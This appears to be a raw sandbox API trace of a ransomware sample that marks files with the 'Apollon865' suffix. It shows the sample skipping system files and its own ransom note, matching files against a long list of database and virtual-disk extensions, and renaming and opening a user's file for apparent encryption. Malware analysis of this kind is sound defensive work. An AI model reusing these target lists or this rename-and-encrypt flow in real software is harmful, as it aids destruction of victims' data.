	[0088.086] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.086] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.086] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.086] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.086] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b26370, ftCreationTime.dwHighDateTime=0x1d4d437, ftLastAccessTime.dwLowDateTime=0xbc507040, ftLastAccessTime.dwHighDateTime=0x1d4c94d, ftLastWriteTime.dwLowDateTime=0xbc507040, ftLastWriteTime.dwHighDateTime=0x1d4c94d, nFileSizeHigh=0x0, nFileSizeLow=0x1276d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0xgH6q4vYRzn3zZm.wav", cAlternateFileName="0XGH6Q~1.WAV")) returned 1
	[0088.086] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.086] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2="Apollon865.txt.exe") returned -1
	[0088.086] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2=".") returned 1
	[0088.086] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2="..") returned 1
	[0088.086] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2="windows") returned -1
	[0088.086] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2="bootmgr") returned -1
	[0088.086] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2="temp") returned -1
	[0088.086] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2="pagefile.sys") returned -1
	[0088.086] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2="boot") returned -1
	[0088.086] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2="ids.txt") returned -1
	[0088.086] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2="ntuser.dat") returned -1
	[0088.086] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2="perflogs") returned -1
	[0088.086] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2="MSBuild") returned -1
	[0088.087] lstrlenW (lpString="0xgH6q4vYRzn3zZm.wav") returned 20
	[0088.087] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\*") returned 55
	[0088.087] lstrcpyW (in: lpString1=0x119e674, lpString2="0xgH6q4vYRzn3zZm.wav" | out: lpString1="0xgH6q4vYRzn3zZm.wav") returned="0xgH6q4vYRzn3zZm.wav"
	[0088.087] lstrlenW (lpString="0xgH6q4vYRzn3zZm.wav") returned 20
	[0088.087] lstrlenW (lpString="Apollon865") returned 10
	[0088.087] lstrcmpiW (lpString1="zn3zZm.wav", lpString2="Apollon865") returned 1
	[0088.087] lstrlenW (lpString=".dll") returned 4
	[0088.087] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2=".dll") returned 1
	[0088.087] lstrlenW (lpString=".lnk") returned 4
	[0088.087] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2=".lnk") returned 1
	[0088.087] lstrlenW (lpString=".ini") returned 4
	[0088.087] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2=".ini") returned 1
	[0088.087] lstrlenW (lpString=".sys") returned 4
	[0088.087] lstrcmpiW (lpString1="0xgH6q4vYRzn3zZm.wav", lpString2=".sys") returned 1
	[0088.087] lstrlenW (lpString="0xgH6q4vYRzn3zZm.wav") returned 20
	[0088.087] lstrlenW (lpString="bak") returned 3
	[0088.087] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0088.087] lstrlenW (lpString="ba_") returned 3
	[0088.087] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0088.087] lstrlenW (lpString="dbb") returned 3
	[0088.087] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0088.087] lstrlenW (lpString="vmdk") returned 4
	[0088.087] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0088.087] lstrlenW (lpString="rar") returned 3
	[0088.087] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0088.087] lstrlenW (lpString="zip") returned 3
	[0088.088] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0088.088] lstrlenW (lpString="tgz") returned 3
	[0088.088] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0088.088] lstrlenW (lpString="vbox") returned 4
	[0088.088] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0088.088] lstrlenW (lpString="vdi") returned 3
	[0088.088] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0088.088] lstrlenW (lpString="vhd") returned 3
	[0088.088] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0088.088] lstrlenW (lpString="vhdx") returned 4
	[0088.088] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0088.088] lstrlenW (lpString="avhd") returned 4
	[0088.088] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0088.088] lstrlenW (lpString="db") returned 2
	[0088.088] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0088.088] lstrlenW (lpString="db2") returned 3
	[0088.088] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0088.088] lstrlenW (lpString="db3") returned 3
	[0088.088] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0088.088] lstrlenW (lpString="dbf") returned 3
	[0088.088] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0088.088] lstrlenW (lpString="mdf") returned 3
	[0088.088] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0088.088] lstrlenW (lpString="mdb") returned 3
	[0088.088] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0088.088] lstrlenW (lpString="sql") returned 3
	[0088.089] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0088.089] lstrlenW (lpString="sqlite") returned 6
	[0088.089] lstrcmpiW (lpString1="Zm.wav", lpString2="sqlite") returned 1
	[0088.089] lstrlenW (lpString="sqlite3") returned 7
	[0088.089] lstrcmpiW (lpString1="zZm.wav", lpString2="sqlite3") returned 1
	[0088.089] lstrlenW (lpString="sqlitedb") returned 8
	[0088.089] lstrcmpiW (lpString1="3zZm.wav", lpString2="sqlitedb") returned -1
	[0088.089] lstrlenW (lpString="xml") returned 3
	[0088.089] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0088.089] lstrlenW (lpString="$er") returned 3
	[0088.089] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0088.089] lstrlenW (lpString="4dd") returned 3
	[0088.089] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0088.089] lstrlenW (lpString="4dl") returned 3
	[0088.089] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0088.089] lstrlenW (lpString="^^^") returned 3
	[0088.089] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0088.089] lstrlenW (lpString="abs") returned 3
	[0088.089] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0088.089] lstrlenW (lpString="abx") returned 3
	[0088.089] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0088.089] lstrlenW (lpString="accdb") returned 5
	[0088.089] lstrcmpiW (lpString1="m.wav", lpString2="accdb") returned 1
	[0088.089] lstrlenW (lpString="accdc") returned 5
	[0088.089] lstrcmpiW (lpString1="m.wav", lpString2="accdc") returned 1
	[0088.089] lstrlenW (lpString="accde") returned 5
	[0088.089] lstrcmpiW (lpString1="m.wav", lpString2="accde") returned 1
	[0088.090] lstrlenW (lpString="accdr") returned 5
	[0088.090] lstrcmpiW (lpString1="m.wav", lpString2="accdr") returned 1
	[0088.090] lstrlenW (lpString="accdt") returned 5
	[0088.090] lstrcmpiW (lpString1="m.wav", lpString2="accdt") returned 1
	[0088.090] lstrlenW (lpString="accdw") returned 5
	[0088.090] lstrcmpiW (lpString1="m.wav", lpString2="accdw") returned 1
	[0088.090] lstrlenW (lpString="accft") returned 5
	[0088.090] lstrcmpiW (lpString1="m.wav", lpString2="accft") returned 1
	[0088.090] lstrlenW (lpString="adb") returned 3
	[0088.090] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.090] lstrlenW (lpString="adb") returned 3
	[0088.090] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.090] lstrlenW (lpString="ade") returned 3
	[0088.090] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0088.090] lstrlenW (lpString="adf") returned 3
	[0088.090] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0088.090] lstrlenW (lpString="adn") returned 3
	[0088.090] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0088.090] lstrlenW (lpString="adp") returned 3
	[0088.090] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0088.090] lstrlenW (lpString="alf") returned 3
	[0088.090] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0088.090] lstrlenW (lpString="ask") returned 3
	[0088.090] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0088.090] lstrlenW (lpString="btr") returned 3
	[0088.090] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0088.091] lstrlenW (lpString="cat") returned 3
	[0088.091] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0088.091] lstrlenW (lpString="cdb") returned 3
	[0088.091] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0088.091] lstrlenW (lpString="ckp") returned 3
	[0088.091] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0088.091] lstrlenW (lpString="cma") returned 3
	[0088.091] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0088.091] lstrlenW (lpString="cpd") returned 3
	[0088.091] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0088.091] lstrlenW (lpString="dacpac") returned 6
	[0088.091] lstrcmpiW (lpString1="Zm.wav", lpString2="dacpac") returned 1
	[0088.091] lstrlenW (lpString="dad") returned 3
	[0088.091] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0088.091] lstrlenW (lpString="dadiagrams") returned 10
	[0088.091] lstrcmpiW (lpString1="zn3zZm.wav", lpString2="dadiagrams") returned 1
	[0088.091] lstrlenW (lpString="daschema") returned 8
	[0088.091] lstrcmpiW (lpString1="3zZm.wav", lpString2="daschema") returned -1
	[0088.091] lstrlenW (lpString="db-journal") returned 10
	[0088.091] lstrcmpiW (lpString1="zn3zZm.wav", lpString2="db-journal") returned 1
	[0088.091] lstrlenW (lpString="db-shm") returned 6
	[0088.091] lstrcmpiW (lpString1="Zm.wav", lpString2="db-shm") returned 1
	[0088.091] lstrlenW (lpString="db-wal") returned 6
	[0088.091] lstrcmpiW (lpString1="Zm.wav", lpString2="db-wal") returned 1
	[0088.091] lstrlenW (lpString="dbc") returned 3
	[0088.091] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0088.092] lstrlenW (lpString="dbs") returned 3
	[0088.092] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0088.092] lstrlenW (lpString="dbt") returned 3
	[0088.092] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0088.092] lstrlenW (lpString="dbv") returned 3
	[0088.092] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0088.092] lstrlenW (lpString="dbx") returned 3
	[0088.092] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0088.092] lstrlenW (lpString="dcb") returned 3
	[0088.092] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0088.092] lstrlenW (lpString="dct") returned 3
	[0088.092] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0088.092] lstrlenW (lpString="dcx") returned 3
	[0088.092] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0088.092] lstrlenW (lpString="ddl") returned 3
	[0088.092] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0088.092] lstrlenW (lpString="dlis") returned 4
	[0088.092] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0088.092] lstrlenW (lpString="dp1") returned 3
	[0088.092] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0088.093] lstrlenW (lpString="dqy") returned 3
	[0088.093] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0088.093] lstrlenW (lpString="dsk") returned 3
	[0088.093] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0088.093] lstrlenW (lpString="dsn") returned 3
	[0088.093] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0088.093] lstrlenW (lpString="dtsx") returned 4
	[0088.093] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0088.093] lstrlenW (lpString="dxl") returned 3
	[0088.093] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0088.093] lstrlenW (lpString="eco") returned 3
	[0088.093] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0088.093] lstrlenW (lpString="ecx") returned 3
	[0088.093] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0088.093] lstrlenW (lpString="edb") returned 3
	[0088.093] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0088.093] lstrlenW (lpString="epim") returned 4
	[0088.093] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0088.093] lstrlenW (lpString="fcd") returned 3
	[0088.093] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0088.093] lstrlenW (lpString="fdb") returned 3
	[0088.094] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0088.094] lstrlenW (lpString="fic") returned 3
	[0088.094] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0088.094] lstrlenW (lpString="flexolibrary") returned 12
	[0088.094] lstrcmpiW (lpString1="YRzn3zZm.wav", lpString2="flexolibrary") returned 1
	[0088.094] lstrlenW (lpString="fm5") returned 3
	[0088.094] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0088.094] lstrlenW (lpString="fmp") returned 3
	[0088.094] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0088.094] lstrlenW (lpString="fmp12") returned 5
	[0088.094] lstrcmpiW (lpString1="m.wav", lpString2="fmp12") returned 1
	[0088.094] lstrlenW (lpString="fmpsl") returned 5
	[0088.094] lstrcmpiW (lpString1="m.wav", lpString2="fmpsl") returned 1
	[0088.094] lstrlenW (lpString="fol") returned 3
	[0088.094] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0088.094] lstrlenW (lpString="fp3") returned 3
	[0088.094] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0088.094] lstrlenW (lpString="fp4") returned 3
	[0088.094] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0088.094] lstrlenW (lpString="fp5") returned 3
	[0088.094] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0088.094] lstrlenW (lpString="fp7") returned 3
	[0088.095] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0088.095] lstrlenW (lpString="fpt") returned 3
	[0088.095] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0088.095] lstrlenW (lpString="frm") returned 3
	[0088.095] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0088.095] lstrlenW (lpString="gdb") returned 3
	[0088.095] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.095] lstrlenW (lpString="gdb") returned 3
	[0088.095] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.095] lstrlenW (lpString="grdb") returned 4
	[0088.095] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0088.095] lstrlenW (lpString="gwi") returned 3
	[0088.095] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0088.095] lstrlenW (lpString="hdb") returned 3
	[0088.095] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0088.095] lstrlenW (lpString="his") returned 3
	[0088.095] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0088.095] lstrlenW (lpString="ib") returned 2
	[0088.095] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0088.095] lstrlenW (lpString="idb") returned 3
	[0088.095] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0088.095] lstrlenW (lpString="ihx") returned 3
	[0088.095] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0088.095] lstrlenW (lpString="itdb") returned 4
	[0088.095] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0088.095] lstrlenW (lpString="itw") returned 3
	[0088.095] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0088.096] lstrlenW (lpString="jet") returned 3
	[0088.096] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0088.096] lstrlenW (lpString="jtx") returned 3
	[0088.096] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0088.096] lstrlenW (lpString="kdb") returned 3
	[0088.096] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0088.096] lstrlenW (lpString="kexi") returned 4
	[0088.096] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0088.096] lstrlenW (lpString="kexic") returned 5
	[0088.096] lstrcmpiW (lpString1="m.wav", lpString2="kexic") returned 1
	[0088.096] lstrlenW (lpString="kexis") returned 5
	[0088.096] lstrcmpiW (lpString1="m.wav", lpString2="kexis") returned 1
	[0088.096] lstrlenW (lpString="lgc") returned 3
	[0088.096] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0088.096] lstrlenW (lpString="lwx") returned 3
	[0088.096] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0088.096] lstrlenW (lpString="maf") returned 3
	[0088.096] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0088.096] lstrlenW (lpString="maq") returned 3
	[0088.096] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0088.096] lstrlenW (lpString="mar") returned 3
	[0088.096] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0088.096] lstrlenW (lpString="marshal") returned 7
	[0088.096] lstrcmpiW (lpString1="zZm.wav", lpString2="marshal") returned 1
	[0088.096] lstrlenW (lpString="mas") returned 3
	[0088.096] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0088.097] lstrlenW (lpString="mav") returned 3
	[0088.097] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0088.097] lstrlenW (lpString="maw") returned 3
	[0088.097] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0088.097] lstrlenW (lpString="mdbhtml") returned 7
	[0088.097] lstrcmpiW (lpString1="zZm.wav", lpString2="mdbhtml") returned 1
	[0088.097] lstrlenW (lpString="mdn") returned 3
	[0088.097] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0088.097] lstrlenW (lpString="mdt") returned 3
	[0088.097] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0088.097] lstrlenW (lpString="mfd") returned 3
	[0088.097] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0088.097] lstrlenW (lpString="mpd") returned 3
	[0088.097] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0088.097] lstrlenW (lpString="mrg") returned 3
	[0088.097] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0088.097] lstrlenW (lpString="mud") returned 3
	[0088.097] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0088.097] lstrlenW (lpString="mwb") returned 3
	[0088.097] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0088.097] lstrlenW (lpString="myd") returned 3
	[0088.097] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0088.097] lstrlenW (lpString="ndf") returned 3
	[0088.097] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0088.097] lstrlenW (lpString="nnt") returned 3
	[0088.097] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0088.097] lstrlenW (lpString="nrmlib") returned 6
	[0088.098] lstrcmpiW (lpString1="Zm.wav", lpString2="nrmlib") returned 1
	[0088.098] lstrlenW (lpString="ns2") returned 3
	[0088.098] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0088.098] lstrlenW (lpString="ns3") returned 3
	[0088.098] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0088.098] lstrlenW (lpString="ns4") returned 3
	[0088.098] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0088.098] lstrlenW (lpString="nsf") returned 3
	[0088.098] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0088.098] lstrlenW (lpString="nv") returned 2
	[0088.098] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0088.098] lstrlenW (lpString="nv2") returned 3
	[0088.098] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0088.098] lstrlenW (lpString="nwdb") returned 4
	[0088.098] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0088.098] lstrlenW (lpString="nyf") returned 3
	[0088.098] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0088.098] lstrlenW (lpString="odb") returned 3
	[0088.098] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.098] lstrlenW (lpString="odb") returned 3
	[0088.098] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.098] lstrlenW (lpString="oqy") returned 3
	[0088.098] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0088.098] lstrlenW (lpString="ora") returned 3
	[0088.098] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0088.098] lstrlenW (lpString="orx") returned 3
	[0088.098] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0088.099] lstrlenW (lpString="owc") returned 3
	[0088.099] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0088.099] lstrlenW (lpString="p96") returned 3
	[0088.099] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0088.099] lstrlenW (lpString="p97") returned 3
	[0088.099] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0088.099] lstrlenW (lpString="pan") returned 3
	[0088.099] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0088.099] lstrlenW (lpString="pdb") returned 3
	[0088.099] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0088.099] lstrlenW (lpString="pdm") returned 3
	[0088.099] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0088.099] lstrlenW (lpString="pnz") returned 3
	[0088.099] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0088.099] lstrlenW (lpString="qry") returned 3
	[0088.099] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0088.099] lstrlenW (lpString="qvd") returned 3
	[0088.099] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0088.099] lstrlenW (lpString="rbf") returned 3
	[0088.099] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0088.099] lstrlenW (lpString="rctd") returned 4
	[0088.099] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0088.099] lstrlenW (lpString="rod") returned 3
	[0088.099] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0088.099] lstrlenW (lpString="rodx") returned 4
	[0088.099] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0088.099] lstrlenW (lpString="rpd") returned 3
	[0088.100] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0088.100] lstrlenW (lpString="rsd") returned 3
	[0088.100] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0088.100] lstrlenW (lpString="sas7bdat") returned 8
	[0088.100] lstrcmpiW (lpString1="3zZm.wav", lpString2="sas7bdat") returned -1
	[0088.100] lstrlenW (lpString="sbf") returned 3
	[0088.100] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0088.100] lstrlenW (lpString="scx") returned 3
	[0088.100] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0088.100] lstrlenW (lpString="sdb") returned 3
	[0088.100] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0088.100] lstrlenW (lpString="sdc") returned 3
	[0088.100] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0088.100] lstrlenW (lpString="sdf") returned 3
	[0088.100] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0088.100] lstrlenW (lpString="sis") returned 3
	[0088.100] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0088.100] lstrlenW (lpString="spq") returned 3
	[0088.100] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0088.100] lstrlenW (lpString="te") returned 2
	[0088.100] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0088.100] lstrlenW (lpString="teacher") returned 7
	[0088.100] lstrcmpiW (lpString1="zZm.wav", lpString2="teacher") returned 1
	[0088.100] lstrlenW (lpString="tmd") returned 3
	[0088.100] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0088.100] lstrlenW (lpString="tps") returned 3
	[0088.100] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0088.101] lstrlenW (lpString="trc") returned 3
	[0088.101] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.101] lstrlenW (lpString="trc") returned 3
	[0088.101] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.101] lstrlenW (lpString="trm") returned 3
	[0088.101] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0088.101] lstrlenW (lpString="udb") returned 3
	[0088.101] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0088.101] lstrlenW (lpString="udl") returned 3
	[0088.101] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0088.101] lstrlenW (lpString="usr") returned 3
	[0088.101] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0088.101] lstrlenW (lpString="v12") returned 3
	[0088.101] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0088.101] lstrlenW (lpString="vis") returned 3
	[0088.101] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0088.101] lstrlenW (lpString="vpd") returned 3
	[0088.101] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0088.101] lstrlenW (lpString="vvv") returned 3
	[0088.101] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0088.101] lstrlenW (lpString="wdb") returned 3
	[0088.102] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0088.102] lstrlenW (lpString="wmdb") returned 4
	[0088.102] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0088.102] lstrlenW (lpString="wrk") returned 3
	[0088.102] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0088.102] lstrlenW (lpString="xdb") returned 3
	[0088.102] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0088.102] lstrlenW (lpString="xld") returned 3
	[0088.102] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0088.102] lstrlenW (lpString="xmlff") returned 5
	[0088.102] lstrcmpiW (lpString1="m.wav", lpString2="xmlff") returned -1
	[0088.102] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\0xgH6q4vYRzn3zZm.wav.Apollon865") returned 85
	[0088.102] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\0xgH6q4vYRzn3zZm.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\0xgh6q4vyrzn3zzm.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\0xgH6q4vYRzn3zZm.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\0xgh6q4vyrzn3zzm.wav.apollon865"), dwFlags=0x1) returned 1
	[0088.104] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\0xgH6q4vYRzn3zZm.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\0xgh6q4vyrzn3zzm.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.104] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=75629) returned 1
	[0088.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
